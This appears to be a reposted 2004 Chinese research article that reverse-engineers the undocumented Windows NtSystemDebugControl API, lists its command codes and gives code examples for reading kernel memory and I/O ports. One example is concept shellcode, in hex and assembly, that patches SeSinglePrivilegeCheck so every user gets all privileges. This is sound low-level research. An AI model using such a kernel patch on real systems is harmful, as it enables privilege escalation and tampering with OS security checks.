对Native API NtSystemDebugControl的分析

创建时间:2004-08-05
文章属性:原创
文章提交: tombkeeper (t0mbkeeper_at_hotmail.com)

对Native API NtSystemDebugControl的分析

作   者:于旸
邮   件:tombkeeper[0x40]nsfocus[0x2e]com
         tombkeeper[0x40]xfocus[0x2e]org
完成于:2004.08.04
关键字:NtSystemDebugControl、ZwSystemDebugControl、读写内核空间、读写MSR、
         读写物理内存、读写IO端口、读写总线数据、KdVersionBlock


     在《获取Windows 系统的内核变量》中,我提及了在Windows NT 5.1以上的系统
中存在一个功能强大的 Native API NtSystemDebugControl,下面我们来看看它到底
有多强大。

     NtSystemDebugControl是Windows NT系列操作系统上实现的一个系统调用,在不
同系统上的调用号分别为:

Windows NT       0xba
Windows 2000     0xde
Windows XP       0xff
Windows 2003     0x108

     这是一个未文档化的 API,《Windows NT/2000 Native API Reference》中有相
关介绍。官方定义可以在一个微软的private头文件ntexapi.h中找到。该文件中还包
含很多其它内部数据结构。可能Windows NT 4的SDK中还曾经有过这个文件(至少NT4
ResourceKit的支持文档里面是这样说的),但现在似乎微软只提供给它的合作伙伴。
好在NTKernel新闻组上有一个“very kind person”共享了这个头文件,你可以从参
考资源[2]的两个链接中得到它。

     这就是ntexapi.h中的定义:
typedef  enum  _SYSDBG_COMMAND {
     SysDbgQueryTraceInformation 
=   1 ,      // KdGetTraceInformation()
     SysDbgSetTracepoint  =   2 ,              // KdSetInternalBreakpoint()
     SysDbgSetSpecialCall  =   3 ,            // KdSetSpecialCall()
     SysDbgClearSpecialCalls  =   4 ,          // KdClearSpecialCalls()
     SysDbgQuerySpecialCalls  =   5 ,          // KdQuerySpecialCalls()
     SysDbgQueryModuleInformation          // ntexapi.h中有,但实际上未实现
} SYSDBG_COMMAND,  * PSYSDBG_COMMAND;

NTSYSAPI
NTSTATUS
NTAPI
NtSystemDebugControl (
     IN SYSDBG_COMMAND Command,
     IN PVOID InputBuffer,
     IN ULONG InputBufferLength,
     OUT PVOID OutputBuffer,
     IN ULONG OutputBufferLength,
     OUT PULONG ReturnLength
     );

 

     从上面可以看出,Windows NT和Windows 2000上的NtSystemDebugControl通过不
同的第一形参可调用五个内核函数,实现相关功能。

     NtSystemDebugControl在Windows NT和Windows 2000上的功能还是比较简陋的,
《Windows NT/2000 Native API Reference》一书对这些已经介绍的很详细了,本文
不再赘述。

     从Windows NT 5.1内核(Windows XP)开始,NtSystemDebugControl的功能被极
大扩增了。根据逆向工程的结果来看,在Windows XP上NtSystemDebugControl的第一
形参可接受 20个不同的功能调用,在Windows 2003上则有28个。

     关于NtSystemDebugControl在Windows NT 5.1以上的实现,互联网上唯一能找到
的资料是BUGTRAQ ID 9694关于该 API的一个漏洞报告(参考资源[1]),事实上,这
个所谓漏洞是不能称之为漏洞的,因为调用这个API需要SeDebugPrivilege 特权,普
通用户根本执行不了,也就谈不上权限提升。

     下面的enum是我逆向工程的结果,绝大部分经过测试:

ContractedBlock.gif ExpandedBlockStart.gif Code
typedef enum _SYSDBG_COMMAND {
//以下5个在Windows NT各个版本上都有
     SysDbgGetTraceInformation = 1,
     SysDbgSetInternalBreakpoint 
= 2,
     SysDbgSetSpecialCall 
= 3,
     SysDbgClearSpecialCalls 
= 4,
     SysDbgQuerySpecialCalls 
= 5,

// 以下是NT 5.1 新增的
     SysDbgDbgBreakPointWithStatus = 6,

     
//获取KdVersionBlock
     SysDbgSysGetVersion = 7,

     
//从内核空间拷贝到用户空间,或者从用户空间拷贝到用户空间
     
//但是不能从用户空间拷贝到内核空间
     SysDbgCopyMemoryChunks_0 = 8,
   
//SysDbgReadVirtualMemory = 8,

     
//从用户空间拷贝到内核空间,或者从用户空间拷贝到用户空间
     
//但是不能从内核空间拷贝到用户空间
     SysDbgCopyMemoryChunks_1 = 9,
   
//SysDbgWriteVirtualMemory = 9,

     
//从物理地址拷贝到用户空间,不能写到内核空间
     SysDbgCopyMemoryChunks_2 = 10,
   
//SysDbgReadVirtualMemory = 10,

     
//从用户空间拷贝到物理地址,不能读取内核空间
     SysDbgCopyMemoryChunks_3 = 11,
   
//SysDbgWriteVirtualMemory = 11,

     
//读写处理器相关控制块
     SysDbgSysReadControlSpace = 12,
     SysDbgSysWriteControlSpace 
= 13,

     
//读写端口
     SysDbgSysReadIoSpace = 14,
     SysDbgSysWriteIoSpace 
= 15,

     
//分别调用RDMSR@4和_WRMSR@12
     SysDbgSysReadMsr = 16,
     SysDbgSysWriteMsr 
= 17,

     
//读写总线数据
     SysDbgSysReadBusData = 18,
     SysDbgSysWriteBusData 
= 19,

     SysDbgSysCheckLowMemory 
= 20,

// 以下是NT 5.2 新增的

     
//分别调用_KdEnableDebugger@0和_KdDisableDebugger@0
     SysDbgEnableDebugger = 21,
     SysDbgDisableDebugger 
= 22,
    
     
//获取和设置一些调试相关的变量
     SysDbgGetAutoEnableOnEvent = 23,
     SysDbgSetAutoEnableOnEvent 
= 24,
     SysDbgGetPitchDebugger 
= 25,
     SysDbgSetDbgPrintBufferSize 
= 26,
     SysDbgGetIgnoreUmExceptions 
= 27,
     SysDbgSetIgnoreUmExceptions 
= 28
} SYSDBG_COMMAND, 
*PSYSDBG_COMMAND;

 

     从上面可以看出,在Windows NT 5.1以上的NtSystemDebugControl可以实现读写
内核线性空间数据、读写物理内存、读写端口、读写总线数据、读写MSR 等功能;在
Windows NT 5.2以上还可以在系统运行状态下使能、禁用内核调试以及获取、设置一
些相关变量等。

     显然,从Windows XP开始,我们再次获得了MS DOS时代直接操纵系统的权杖,戴
着桂冠,重新回到了奥林匹斯山之巅。

     下面举几个具体应用的例子。

例子1:
    
     下面代码演示读取KdVersionBlock:

 

// ------------------------------------------------------------------------
typedef  struct  _DBGKD_GET_VERSION64 {
     USHORT   MajorVersion;
     USHORT   MinorVersion;
     USHORT   ProtocolVersion;
     USHORT   Flags;
     USHORT   MachineType;
     UCHAR   MaxPacketType;
     UCHAR   MaxStateChange;
     UCHAR   MaxManipulate;
     UCHAR   Simulation;
     USHORT   Unused[
1 ];
     ULONG64 KernBase;
     ULONG64 PsLoadedModuleList;
     ULONG64 DebuggerDataList;
} DBGKD_GET_VERSION64, 
* PDBGKD_GET_VERSION64;

DBGKD_GET_VERSION64 KdVersionBlock;

EnablePrivilege(SE_DEBUG_NAME);

ZwSystemDebugControl
(
     SysDbgSysGetVersion,
     NULL,
     
0 ,
     
& KdVersionBlock,
     
sizeof (KdVersionBlock),  // 必须是0x28
     NULL
);

printf (
" KernBase:           0x%.8x\n " ,KdVersionBlock.KernBase);
printf (
" PsLoadedModuleList: 0x%.8x\n " ,KdVersionBlock.PsLoadedModuleList);
printf (
" DebuggerDataList:   0x%.8x\n " ,KdVersionBlock.DebuggerDataList);
// ------------------------------------------------------------------------

 

例子2:

     下面代码演示读取内核空间数据的操作,这里读取的是Windows 2003内核映像的
头两个字节,也就是“MZ”。

 

// ------------------------------------------------------------------------
typedef  struct  _MEMORY_CHUNKS {
     ULONG Address;
     PVOID Data;
     ULONG Length;
}MEMORY_CHUNKS, 
* PMEMORY_CHUNKS;

MEMORY_CHUNKS QueryBuff;
ULONG ReturnLength;
char  Buff[ 0x2 =  { 0 };

QueryBuff.Address 
=   0x804e0000 // Windows 2003的KernBase
QueryBuff.Data  =  Buff;    // 在此是读出缓冲
QueryBuff.Length  =   sizeof (Buff);

EnablePrivilege(SE_DEBUG_NAME);

ZwSystemDebugControl
(
     SysDbgCopyMemoryChunks_0,
     
& QueryBuff,
     
sizeof (MEMORY_CHUNKS),    // 必须是0x0C
     NULL,
     
0 ,
     
& ReturnLength
);

printf (
" \ " MZ\ " :   %s\n " ,Buff);
// ------------------------------------------------------------------------

 

例子3:

     下面是一个使用NtSystemDebugControl的SysDbgCopyMemoryChunks_1功能实现的
Patch内核的ShellCode,把0x80580e66由原来的8a450c改为90b001:

修改前:

nt!SeSinglePrivilegeCheck+0x5c:
80580e66 8a450c           mov     al,[ebp+0xc]
80580e69 c9               leave
80580e6a c20c00           ret     0xc

修改后:
nt!SeSinglePrivilegeCheck+0x5c:
80580e66 90               nop
80580e67 b001             mov     al,0x1
80580e69 c9               leave
80580e6a c20c00           ret     0xc

     这样,SeSinglePrivilegeCheck总是返回True,也就是说,无论哪个用户,总是
拥有全部系统特权。

     \xeb\x09\x66\xb8\x08\x01\x8b\xd4\x0f\x34\xc3\x68\x90\xb0\x01\xc9
     \x8b\xc4\x6a\x04\x50\x68\x66\x0e\x58\x80\x54\x5b\x33\xc0\x50\x54
     \x50\x50\x6a\x0c\x53\x6a\x09\x50\xe8\xd5\xff\xff\xff\x83

 

// ------------------------------------------------------------------------
#pragma  comment(linker, "/entry:main /ALIGN:4096" )
#pragma  comment(lib, "kernel32.lib")

#define  sysenter __asm __emit 0x0f __asm __emit 0x34

void  main( void )
{
     __asm
     {
         
int   3     // debug
         jmp patch

SystemDebugControl:

         mov ax,
0x108
         mov edx,esp
         sysenter
         ret

patch:

         push 
0xc901b090
         mov eax,esp
         push 
0x04
         push eax
         push 
0x80580e66
         push esp
         pop ebx
         xor eax,eax
         push eax
         push esp   
// ReturnLength
         push eax    // OutputBufferLength
         push eax    // OutputBuffer
         push  0x0c   // InputBufferLength
         push ebx    // InputBuffer
         push  0x09   // ControlCode
         push eax    // for sysenter ret
         call SystemDebugControl
         add esp,
0x30       // 只是为了修正堆栈
     }
}
// ------------------------------------------------------------------------

 

    上面只是一个概念代码,使用的Patch地址是固定的,对5.2.3790.0 版本的内核
有效。由于调用NtSystemDebugControl 要SeDebugPrivilege,所以这段ShellCode需
要在LocalSystem 的身份的进程空间运行,或者自己增加SeDebugPrivilege。最简单
的办法就是在WinDBG中执行。

例子4:

     下面是一段完整的代码,利用NtSystemDebugControl读写端口的能力,直接操纵
PC Speaker发声:

 

// ------------------------------------------------------------------------
// 演示用ZwSystemDebugControl读写端口使PC Speaker发声
// tombkeeper 2004.08.03

#include 
< windows.h >
#include 
< stdio.h >

#pragma  comment(lib, "advapi32")

#define  NTAPI       __stdcall
#define  FCHK(a)     if (!(a)) {printf(#a " failed\n"); return 0;}

typedef 
int  NTSTATUS;

typedef 
enum  _SYSDBG_COMMAND
{
   SysDbgSysReadIoSpace 
=   14 ,
   SysDbgSysWriteIoSpace 
=   15
}SYSDBG_COMMAND, 
* PSYSDBG_COMMAND;

typedef NTSTATUS (NTAPI 
*  PZwSystemDebugControl) (
     SYSDBG_COMMAND ControlCode,
     PVOID InputBuffer,
     ULONG InputBufferLength,
     PVOID OutputBuffer,
     ULONG OutputBufferLength,
     PULONG ReturnLength
     );

PZwSystemDebugControl ZwSystemDebugControl 
=  NULL;

typedef 
struct  _IO_STRUCT
{
     DWORD IoAddr;       
//  IN: Aligned to NumBYTEs,I/O address
     DWORD Reserved1;      //  Never accessed by the kernel
     PVOID pBuffer;        //  IN (write) or OUT (read): Ptr to buffer
     DWORD NumBYTEs;      //  IN: # BYTEs to read/write. Only use 1, 2, or 4.
     DWORD Reserved4;      //  Must be 1
     DWORD Reserved5;      //  Must be 0
     DWORD Reserved6;      //  Must be 1
     DWORD Reserved7;      //  Never accessed by the kernel
}
IO_STRUCT, 
* PIO_STRUCT;

BOOL EnablePrivilege (PCSTR name)
{
     HANDLE hToken;
     BOOL rv;
    
     TOKEN_PRIVILEGES priv 
=  {  1 , { 0 0 , SE_PRIVILEGE_ENABLED} };
     LookupPrivilegeValue (
         
0 ,
         name,
         
& priv.Privileges[ 0 ].Luid
     );
    
     OpenProcessToken(
         GetCurrentProcess (),
         TOKEN_ADJUST_PRIVILEGES,
         
& hToken
     );
    
     AdjustTokenPrivileges (
         hToken,
         FALSE,
         
& priv,
         
sizeof  priv,
         
0 ,
         
0
     );
     rv 
=  GetLastError ()  ==  ERROR_SUCCESS;
    
     CloseHandle (hToken);
     
return  rv;
}

BYTE InPortB (
int  Port)
{
     BYTE Value;
     IO_STRUCT io;
    
     io.IoAddr 
=  Port;
     io.Reserved1 
=   0 ;
     io.pBuffer 
=  (PVOID) (PULONG)  &  Value;
     io.NumBYTEs 
=   sizeof  (BYTE);
     io.Reserved4 
=   1 ;
     io.Reserved5 
=   0 ;
     io.Reserved6 
=   1 ;
     io.Reserved7 
=   0 ;
    
     ZwSystemDebugControl 
     (
         SysDbgSysReadIoSpace,
           
& io,
           
sizeof  (io),
           NULL,
           
0 ,
           NULL
     );
     
return  Value;
}

void  OutPortB ( int  Port, BYTE Value)
{
     IO_STRUCT io;
    
     io.IoAddr 
=  Port;
     io.Reserved1 
=   0 ;
     io.pBuffer 
=  (PVOID) (PULONG)  &  Value;
     io.NumBYTEs 
=   sizeof  (BYTE);
     io.Reserved4 
=   1 ;
     io.Reserved5 
=   0 ;
     io.Reserved6 
=   1 ;
     io.Reserved7 
=   0 ;
    
     ZwSystemDebugControl 
     (
         SysDbgSysWriteIoSpace,
         
& io,
         
sizeof  (io),
         NULL,
         
0 ,
         NULL
     );
};

void  BeepOn ( int  Freq)
{
     BYTE b;

     
if  ((Freq  >=   20 &&  (Freq  <=   20000 ))
     {
         Freq 
=   1193181   /  Freq;
         b 
=  InPortB ( 0x61 );
         
if  ((b  &   3 ==   0 )
     {
         OutPortB (
0x61 , (BYTE) (b  |   3 ));
         OutPortB (
0x43 0xb6 );
     }
         OutPortB (
0x42 , (BYTE) Freq);
         OutPortB (
0x42 , (BYTE) (Freq  >>   8 ));
     }
}

void  BeepOff ( void )
{
     BYTE b;

     b 
=  (InPortB ( 0x61 &   0xfc );
     OutPortB (
0x61 , b);
}

int  main ( void )
{
     HMODULE hNtdll;
     ULONG ReturnLength;
     OSVERSIONINFO OSVersionInfo;
     OSVersionInfo.dwOSVersionInfoSize 
=   sizeof  (OSVERSIONINFO);

     EnablePrivilege (SE_DEBUG_NAME);

     FCHK ((hNtdll 
=  LoadLibrary ( " ntdll.dll " ))  !=  NULL);
     FCHK ((ZwSystemDebugControl 
=  (PZwSystemDebugControl) 
           GetProcAddress (hNtdll, 
" ZwSystemDebugControl " ))  !=  NULL);
     FCHK ((
void   * ) GetVersionEx ( & OSVersionInfo)  !=  NULL);

     
if  (OSVersionInfo.dwPlatformId  ==  VER_PLATFORM_WIN32_NT  &&
         OSVersionInfo.dwMajorVersion 
>=   5   &&
         OSVersionInfo.dwMinorVersion 
>=   1 )      // Windows XP以上
     {
         BeepOn (
1000 );    // 声音频率1000Hz
         Sleep ( 1000 );
         BeepOff ();
     }
     
else
     {
         printf (
" This program require Windows XP or Windows 2003.\n " );
     }
     
return   0 ;
}
// ------------------------------------------------------------------------

 

 

参考资源:

[1]Microsoft Windows NtSystemDebugControl() Kernel API Function Privilege
   Escalation Vulnerability
http://www.securityfocus.com/bid/9694

[2]ntexapi.h
http://www.codeguru.com/code/legacy/system/ntexapi.zip
http://void.ru/files/Ntexapi.h

转载于:https://www.cnblogs.com/binsys/articles/1303011.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值